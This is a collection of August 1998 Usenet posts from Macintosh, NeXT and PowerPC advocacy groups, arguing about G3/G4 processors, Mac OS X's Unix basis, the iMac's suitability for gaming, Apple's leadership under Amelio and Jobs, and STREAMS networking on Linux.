Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.misc,comp.sys.powerpc.advocacy
Subject: G3's and G4's and SOI (Was Re: OS X: Installed base of only
750,000 G3 systems?
Date: 7 Aug 98 13:57:04 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1F0B83F-459BF@206.165.43.185>
References: <35ca9f4c.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.powerpc.misc,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
Lawson English <english@primenet.com> said:
>> All I read was that SOI-based G3's would appear sometime next year. No
>> mention of G4's that I could see. Which implies that they won't appear
>> until after the G3 goes SOI.
>
>Has there been any mention of a 604-style G3?
I haven't heard of one. This is really a topic for
comp.sys.powerpc.misc/advocacy, so I'm crossposting to those groups.
Has anyone heard of G3 series CPUs using a 604-like (multiple integer
units) core?
Howabout rumors of when G4 CPUs will be produced with SOI and/or copper?
Has there been an announcement/rumor of a 32-bit G4 model?
Will the advent of SOI-based G3s put a squeeze on the low-end G4 models,
and therefore possibly delay their introduction?
Inquring minds...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: G3's and G4's and SOI (Was Re: OS X: Installed base of only
750,000 G3 systems?
Date: 7 Aug 98 13:56:39 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1F0B81B-45133@206.165.43.185>
References: <35ca9f4c.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.priment.com/comp.sys.powerpc.misc,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
Lawson English <english@primenet.com> said:
>> All I read was that SOI-based G3's would appear sometime next year. No
>> mention of G4's that I could see. Which implies that they won't appear
>> until after the G3 goes SOI.
>
>Has there been any mention of a 604-style G3?
I haven't heard of one. This is really a topic for
comp.sys.powerpc.misc/advocacy, so I'm crossposting to those groups.
Has anyone heard of G3 series CPUs using a 604-like (multiple integer
units) core?
Howabout rumors of when G4 CPUs will be produced with SOI and/or copper?
Has there been an announcement/rumor of a 32-bit G4 model?
Will the advent of SOI-based G3s put a squeeze on the low-end G4 models,
and therefore possibly delay their introduction?
Inquring minds...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Fri, 07 Aug 1998 16:23:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Message-ID: <joe.ragosta-0708981623520001@wil42.dol.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net> <35CB5752.DB4A33EF@ericsson.com>
In article <35CB5752.DB4A33EF@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Whether or not Gates asked Jobs to kill Rhapsody is irrelevant. Jobs has
> killed Rhapsody and replaced it with a Windows NT work-alike, complete
> with immature new technologies that offer nothing apart from backward
> compatibility to recommend themselves. MacOS X cannot be considered
> anything remotely resembling a UNIX environment, except to the C
> programmer. MacOS X will not offer a new user interface. MacOS X's
> application base will not be based on OPENSTEP APIs.
And you know this because......?
Mac OS X will still contain BSD APIs. How does it not remotely resemble a
Unix environment?
As for Mac OS X's application base and OpenSTEP APIs, it depends on what
you mean by "based on". Yellow Box is derived from OpenSTEP and will still
be a major part of Mac OS X.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 13:30:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Message-ID: <joe.ragosta-0708981330110001@wil51.dol.net>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <6qd9sd$d5j$1@news.spacelab.net> <35CA6F0E.6E27@exu.ericsson.se> <joe.ragosta-0708980924190001@wil86.dol.net> <35CB2109.15819EC5@ericsson.com>
In article <35CB2109.15819EC5@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Joe Ragosta wrote:
>
> > Thanks for proving the point.
> >
> > Serious gamers are going to want to upgrade their video cards when a new
> > generation of card comes out. That, by definition, rules out the iMac,
> > anyway. Those people should be looking at the PowerMac G3.
>
> Any gamer is going to want to play games. You cannot justify substandard
> hardware by inventing a group of people called "serious gamers" and
> assuming that anyone who does not fit the loaded description will not
> care. Ach, I don't need to prove it to you. See for yourself how much
> gaming attention the iMac will get.
Which is another switch of the issue.
The original thread started when someone said tha the iMac wouldn't do
well _because_ of it's "poor" game performance. I pointed out that that's
not true if the average iMac user isn't interested in game performance.
You still haven't provided anything to refute my statement. Where's your
evidence that the iMac would sell better with a faster graphics chip?
>
> > No matter what graphics you put into a computer, it's no longer state of
> > the art in 6 months
>
> Precisely, which is why anyone who wants to play games will buy
> something expandable.
YOU'VE FINALLY GOT IT!
That's my point--exactly.
Someone who wants to play games is more likley to buy an expandable
machine--like the PowerMac G3s. That's EXACTLY why game performance isn't
that big of an issue for the iMac.
Thanks for finally coming around to see it my way.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: G3's and G4's and SOI (Was Re: OS X: Installed base of only
750,000 G3 systems?
Date: 7 Aug 98 13:56:39 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1F0BBD9-5325D@206.165.43.185>
References: <35ca9f4c.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.priment.com/comp.sys.powerpc.misc,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
Lawson English <english@primenet.com> said:
>> All I read was that SOI-based G3's would appear sometime next year. No
>> mention of G4's that I could see. Which implies that they won't appear
>> until after the G3 goes SOI.
>
>Has there been any mention of a 604-style G3?
I haven't heard of one. This is really a topic for
comp.sys.powerpc.misc/advocacy, so I'm crossposting to those groups.
Has anyone heard of G3 series CPUs using a 604-like (multiple integer
units) core?
Howabout rumors of when G4 CPUs will be produced with SOI and/or copper?
Has there been an announcement/rumor of a 32-bit G4 model?
Will the advent of SOI-based G3s put a squeeze on the low-end G4 models,
and therefore possibly delay their introduction?
Inquring minds...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Solution to Imac SUCKS for games
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <joe.ragosta-0708980924190001@wil86.dol.net> <B1F0B592-3B8B4@206.165.43.185>
Message-ID: <35cb6ede.0@news.depaul.edu>
Date: 7 Aug 98 21:17:18 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> But that really is our point (or mine, at least). the iMac video should be
> replaceable in some fashion, whether via a card, a cartridge or whatever,
> it shouldn't be frozen into the motherboard. You have to slide out the MB
> to install RAM, so why not to replace the video card/cartridge?
> If Apple had done THIS, they would have doubled the iMac target market
> since many hard-core PC gamers would buy one just to have as a portable
> high-end games console.
Doubtful. The iMac would carry no bragging rights for them. If anything,
the other gamers would mock them mercilessly.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: 7 Aug 1998 21:11:02 GMT
Organization: University of Washington, Seattle
Message-ID: <6qfqh6$tn6$1@nntp6.u.washington.edu>
References: <joe.ragosta-0708980924190001@wil86.dol.net> <B1F0B592-3B8B4@206.165.43.185>
NNTP-Posting-User: gwangung
In article <B1F0B592-3B8B4@206.165.43.185>,
Lawson English <english@primenet.com> wrote:
>Joe Ragosta <joe.ragosta@dol.net> said:
>But that really is our point (or mine, at least). the iMac video should be
>replaceable in some fashion, whether via a card, a cartridge or whatever,
>it shouldn't be frozen into the motherboard. You have to slide out the MB
>to install RAM, so why not to replace the video card/cartridge?
>
>If Apple had done THIS, they would have doubled the iMac target market
>since many hard-core PC gamers would buy one just to have as a portable
>high-end games console.
I'm not so sure about that, given that the iMac boards are being
adapated from Powerbook motherboard. Making that big of a change (and i
THINK this is a big change) removes a lot of advantages and economies of
scale.
Also, this falls into a trap of one model fits all market; I'm not
sure that's a very good model to follow...
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: frank@REMOVE_SPAMLOCK.wizards.de (Frank M. Siegert)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 7 Aug 1998 21:50:45 GMT
Organization: Frank's Area 51
Message-ID: <6qfsrl$lur$1@news.seicom.net>
References: <6qa5sl$4pm1@onews.collins.rockwell.com> <01bdc0f2$29212aa0$deb4dccf@samsara>
<35C99113.AF7BDE32@ix.netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Cc: mtrombin@ix.netcom.com
In <35C99113.AF7BDE32@ix.netcom.com> Mark Trombino wrote:
> To me, the most important feature of DPS is that the code used to draw on
the
> screen is the same code sent to a laser printer. Will this be the case
with
> the PDF based engine?
In theory yes, as one can map the PDF ops to PS (in this respect PDF is a
kind of subset of PS very loosely speaking). In practice, well, it depends on
various factors.
> Also, if Apple dropped DPS because of licensing fees from Adobe, how did
they
> get around licensing fees for PDF? Just wondering... :)
Maybe they did the PDF engine implementation themself. It is not that hard to
do (beside I haven't seen a specification for Display PDF or whatever it is
called yet, I guess it will be only a subset of PDF, namely the commands and
the imageing model and will left out most of the document structure... maybe,
maybe not )
--
* Frank M. Siegert [frank@wizards.de] - Home http://www.wizards.de
* NeXTSTEP, IRIX, Solaris, Linux, BeOS, PDF & PostScript Wizard
* Note: [frank@this.net] is still a valid option to send me eMail
* "The answer is vi, what was your question...?"
From: hattonr@aug.com (Rick Hatton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Fri, 7 Aug 1998 18:32:31 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980807183231180080@pm2-1-27.aug.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com> <joe.ragosta-0708980943170001@wil86.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> Amelio could have wanted $400 trillion dollars and a harem of dancing
> girls. What he _wanted_ is irrelevant.
>
> Until Lawson can show that Jobs got a worse deal than Amelio did, he's
> blowing smoke.
What I am saying is that Amelio did a pretty good job while he was in
charge, and I thnk he is getting abused by the press and Mac crowd in
general. He didnt get fired for incompetence. His 3-5 year plan was on
track. Jobs submarined him. Most of the good things Jobs is getting
credit for were started by Amelio.
It will be interesting to see if Jobs can sustain Apple, or will hethe
same problems he casued the last time he had any authority at Apple.
From: hattonr@aug.com (Rick Hatton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Fri, 7 Aug 1998 18:32:34 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980807183234180243@pm2-1-27.aug.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <35CB109C.DE7@frontiernet.net>
cfischer <cfischer@frontiernet.net> wrote:
> I agree with what you're saying, but it wasn't pocket change to
> Apple, they were hemoragging cash at the time. There was a
> question as to whether they could stay in business at the time.
IIRC, Amelio had already gotten Apple back to having cash in the bank.
From: ridgway@taiga.gmcl.com (Douglas Ridgway)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 7 Aug 1998 23:10:26 GMT
Organization: Videotron Communications Ltd.
Message-ID: <slrn6sn0j7.3ul.ridgway@taiga.gmcl.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com> <35c8b189.0@nnrp1.news.uk.psi.net>
On 5 Aug 98 19:24:57 GMT, Richard Frith-Macdonald
<richard@brainstorm.co.uk.> wrote:
>You might be interested in a recent STREAMS thread in the linux developers newsgroup.
>Seems Linux will NOT be supporting streams due to inherant performance problems with
>the streams architecture.
Huh? Linux has STREAMS already: http://www.gcom.com/lis.html .
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Conspiracy Theory
Content-Type: text/plain; charset=us-ascii
Message-ID: <ExCFq9.3nF@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: hattonr@aug.com
Organization: none
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net>
<joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net>
<35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu>
<35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net>
<B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com>
<joe.ragosta-0708980943170001@wil86.dol.net> <19980807183231180080@pm2-1-27.aug.com>
Mime-Version: 1.0
Date: Fri, 7 Aug 1998 23:54:08 GMT
In <19980807183231180080@pm2-1-27.aug.com> Rick Hatton wrote:
> What I am saying is that Amelio did a pretty good job while he was in
> charge, and I thnk he is getting abused by the press and Mac crowd in
> general. He didnt get fired for incompetence. His 3-5 year plan was on
> track.
For what that's worth. It was the standard kind of thing that had led
Apple to it's doom though - no strong vision for the OS, no real
understanding of why people bought Macs, no real marketting message, and
absolutely no "charm". Since Jobs took over, these have all been addressed.
Now I'll be the first to admit that on the financial side he _did_ do a
good job, a great one maybe, and certainly one that we all owe a debt of
gratitude for. However...
> It will be interesting to see if Jobs can sustain Apple, or will hethe
> same problems he casued the last time he had any authority at Apple.
There is absolutely no doubt in my mind that had Gil continued on that
Apple would have continued the slow death that it was clearly still
undergoing while he was there. He stopped the money from running out the
door, but did NOTHING to stop the developers - in fact their rather clueless
OS plans likely made this worse. If you don't see differences, and hope, in
Jobs' tenure, then I suspect you're allowing your own doomssaying to override
your better judgement.
In 97 Jobs said "watch the press, give us six months and they'll get it".
Sure enough this is _exactly_ what happened, all press about Apple is
positive, all press about MS is negative. He said "look, give us a year and
we'll have a real consumer product for you". According to Rumors, the
thing's about to break all records for a product introduction (the last one
to set the record was the Boeing 727 IIRC). He said "we're not ready yet,
but come to WWDC98, and we'll have a real OS message for you", and sure
enough, that's exactly what happened and all the big developers love it. He
said "we've got things under control, don't worry about the stock price".
Today Apple is still (AFAIK) the best performing stock this year on NASDAQ
and it manage to weather several big hits over the last few weeks.
What did Gil say? I remember "we're not going out of business, don't
listen to them" and "we've cancelled Copeland and we don't know what we're
replacing it with". Youch, that's certainly confidence building! This time
last year I had completely given up on Apple, this time this year (now) I'm
kicking myself for paying $2k for that $(*)^%(^#% sh*tbox PC I've got at home
that won't even let me remove the *^%#$(*&%$ Inbox from my desktop!
Maury
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 23:52:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qg3vl$3m6$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <6qddcg$2ms$1@nnrp1.dejanews.com> <joe.ragosta-0708980834340001@wil86.dol.net>
In article <joe.ragosta-0708980834340001@wil86.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Anyone who's getting a crash every 3-4 hours without doing something about
> it is not skilled enough to be taken seriously. A properly configured Mac
> _or_ Win95 system shouldn't be crashing more than a couple of times a week
> AT MOST.
That depends on what you do with it. Development work often makes my Mac crash
every half an hour or so.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 23:54:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qg44c$3oc$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <6qddcg$2ms$1@nnrp1.dejanews.com> <joe.ragosta-0708980834340001@wil86.dol.net> <kindall-0708981043440001@nic-c41-094.mw.mediaone.net> <joe.ragosta-0708981119420001@wil56.dol.net>
In article <joe.ragosta-0708981119420001@wil56.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Sorry to disappoint you, but _any_ computer system needs to be properly
> configured to work properly.
Any computer on the market today. Let's hope that Apple advances the state of
the art.
> Fortunately, it's much easier to do so on the Mac. If you merely do a
> clean installation and leave it alone (with an occasional desktop
> rebuild), you'll be OK.
If you mean leave in turned off alone in a closet then I agree with you.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Fri, 07 Aug 1998 18:30:57 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CB8E31.46977410@ericsson.com>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <6qd9sd$d5j$1@news.spacelab.net> <35CA6F0E.6E27@exu.ericsson.se> <joe.ragosta-0708980924190001@wil86.dol.net> <35CB2109.15819EC5@ericsson.com> <joe.ragosta-0708981330110001@wil51.dol.net>
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Joe Ragosta wrote:
> Which is another switch of the issue.
>
> The original thread started when someone said tha the iMac wouldn't do
> well _because_ of it's "poor" game performance. I pointed out that that's
> not true if the average iMac user isn't interested in game performance.
>
> You still haven't provided anything to refute my statement. Where's your
> evidence that the iMac would sell better with a faster graphics chip?
Right, right. As if we didn't know your entire approach to debate was
"I'll just hang my genitalia out into the wind, as long as nobody chops
them off I win".
The iMac will not sell well in the game market. That is my assertion,
and I will provide whatever evidence you need. I don't know what crawled
up your ass and convinced you that the point was anything else. I
suspect you made up the quote above by "somebody", since you've done
such things repeatedly in the past.
That the iMac will not sell well in the game market is significant,
given claims of Steve Jobs' new awareness of the game market, Apple's
presence (with the iMac) at E3, and the bundled game software supposedly
being thrown into the iMac deal (and presumably inflating the price).
> > Precisely, which is why anyone who wants to play games will buy
> > something expandable.
>
> YOU'VE FINALLY GOT IT!
>
> That's my point--exactly.
>
> Someone who wants to play games is more likley to buy an expandable
> machine--like the PowerMac G3s.
Of course they are, but that doesn't mean putting unacceptable 3D
hardware in the iMac is OK. Where did you get the idea that it's OK to
ship substandard hardware as long as it's soldered on? Your "point" gets
stupider all the time, from where I'm standing.
You don't seem to get what I was saying. Those who buy a computer for
gaming will skip the iMac for its lack of expansion options, Engineering
Mistake #1. This much you seem to understand. But those who buy a
computer for other reasons will never have the option of playing 3D
games later, because the on-board graphics accelerator is substandard,
Engineering Mistake #2, adding insult to injury. Not only does this mean
that those who get suckered into paying for the Toys-R-Us Macintosh will
find that they can't play games after the fact, it means that the iMac
is just one more Apple product that tells game developers to go
elsewhere (guess where?).
> That's EXACTLY why game performance isn't
> that big of an issue for the iMac.
No, you've got it *totally* backwards. You'd like to to say that the
iMac has substandard 3D hardware because "game performance isn't a big
issue for the iMac". The truth is, game performance isn't a big issue
for the iMac because it has substandard 3D hardware. And *that* is the
whole problem.
> Thanks for finally coming around to see it my way.
Any time. Sparky.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Fri, 07 Aug 1998 18:35:49 -0500
Organization: Ericsson North America Inc.
Message-ID: <35CB8F55.A4E161A6@ericsson.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net> <35CB5752.DB4A33EF@ericsson.com> <joe.ragosta-0708981623520001@wil42.dol.net>
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Joe Ragosta wrote:
> > MacOS X's
> > application base will not be based on OPENSTEP APIs.
>
> And you know this because......?
Because MacOS X's application base will be based on Concert APIs.
> Mac OS X will still contain BSD APIs. How does it not remotely resemble a
> Unix environment?
Let me just get something straight, first: is this a question, or a
challenge? Because if I'm not mistaken, you wouldn't know a Unix
environment if it bit you in the ass.
If you're just asking the question out of pure ignorance, I'd be glad to
explain the difference between a Unix environment and its CLib
implementation in private email.
> As for Mac OS X's application base and OpenSTEP APIs, it depends on what
> you mean by "based on". Yellow Box is derived from OpenSTEP and will still
> be a major part of Mac OS X.
Apple has stated quite publicly that the purpose for Concert is to
provide MacOS X's initial releases with an application base, culled from
existing MacOS apps. That is the most disgusting thing I can imagine
putting on a brand-new machine with a brand-new operating system in the
Year 1999, so this is the point I'm making.
MJP
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Fri, 07 Aug 1998 17:22:50 -0700
Message-ID: <see-below-0708981722510001@dynamic41.pm08.mv.best.com>
References: <joe.ragosta-0708980924190001@wil86.dol.net> <B1F0B592-3B8B4@206.165.43.185>
In article <B1F0B592-3B8B4@206.165.43.185>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >Serious gamers are going to want to upgrade their video cards when a new
> >generation of card comes out. That, by definition, rules out the iMac,
> >anyway. Those people should be looking at the PowerMac G3.
> >
>
>
>
> But that really is our point (or mine, at least). the iMac video should be
> replaceable in some fashion, whether via a card, a cartridge or whatever,
> it shouldn't be frozen into the motherboard. You have to slide out the MB
> to install RAM, so why not to replace the video card/cartridge?
>
> If Apple had done THIS, they would have doubled the iMac target market
> since many hard-core PC gamers would buy one just to have as a portable
> high-end games console.
Yes, this would have done it. That's the only reason I care so much, is
because it's not upgradeable. If it were on a replaceable daughtercard or
PCI then it wouldn't matter.
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.invalid (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: Solution to Imac SUCKS for games
Date: Fri, 07 Aug 1998 17:20:47 -0700
Message-ID: <see-below-0708981720480001@dynamic41.pm08.mv.best.com>
References: <6qdl2c$k74$1@Zeke.Update.UU.SE> <ExBr6L.HEs@T-FCN.Net>
In article <ExBr6L.HEs@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <6qdl2c$k74$1@Zeke.Update.UU.SE> Andreas Gustafsson wrote:
> > I think that selling a machine to the desktop, trying to win the
> > home market without including the a 3Dfx card is impossible.
>
> I'd say that less than 5% of all desktops in homes have a Voodoo of some
> sort in them, and that's likely very much on the high side. So I'd say
> you're wrong.
>
> More to the point, the Voodoo is no longer the be all and end all. Their
> performance lead that made the cost and annoyance level worthwhile two years
> ago simply isn't there any more. You can get 80% of the same performance
> from the new Matrox system, and at the same time the Matrox is also a
> super-fast 2D controller, and 1/2 the price of a single Voodoo II. Apple
> would be much wiser to go that route if any change was to be made.
>
> Maury
I think the best bet after Rage Pro (which should have been there from the
beginning) would be Banshee. One thing to consider is that Glide is a very
popular API for PC games, and is used for some Mac games as well.
....................................................
MATTHEW VAUGHAN
matthewv@best.com
http://www.best.com/~matthewv/
....................................................
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Junking STREAMS?
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Cc: ridgway@taiga.gmcl.com
Organization: none
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com>
<35c8b189.0@nnrp1.news.uk.psi.net> <slrn6sn0j7.3ul.ridgway@taiga.gmcl.com>
Mime-Version: 1.0
Date: Sat, 8 Aug 1998 00:11:47 GMT
In <slrn6sn0j7.3ul.ridgway@taiga.gmcl.com> Douglas Ridgway wrote:
> On 5 Aug 98 19:24:57 GMT, Richard Frith-Macdonald
> <richard@brainstorm.co.uk.> wrote:
>
> >You might be interested in a recent STREAMS thread in the linux developers
newsgroup.
> >Seems Linux will NOT be supporting streams due to inherant performance
problems with
> >the streams architecture.
>
> Huh? Linux has STREAMS already: http://www.gcom.com/lis.html .
Clearly the Linux issue is a completely political one. The LiS project
that you mention above is being deadlocked because Linux won't set aside the
two call traps needed to support it. That means to use the LiS system you
need to compile you own kernel.
As to the performance issues, there's simply no doubt that current BSD
stacks are faster than STREAMS ones - usually by a LOT. However that does
not in any way point to evidence that STREAMS is _inherantly_ slower than
BSD's stuff, it simply shows where developer effort has gone. For instance
the Linux people are very proud of their kernel trap dispatch times too,
claiming that no uKernel will ever match it - yet Mach4.0 should be able to
without any problems.
The long and short of it is that making STREAMS faster is likely more work
than making BSD faster. So to make themselves feel better about this, the
"higher ups" in the Linux group have convinced themselves there is a
technical reason for this. Sadly, when pressed for this, they quickly revert
to political issues again.
Maury
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Fri, 07 Aug 1998 17:42:27 -0700
Organization: Graves Associates
Message-ID: <gmgraves-0708981742280001@sf-usr1-54-182.dialup.slip.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu>
In article <35C9C503.2B61@genetics.utah.edu>, Patrick O'Neil
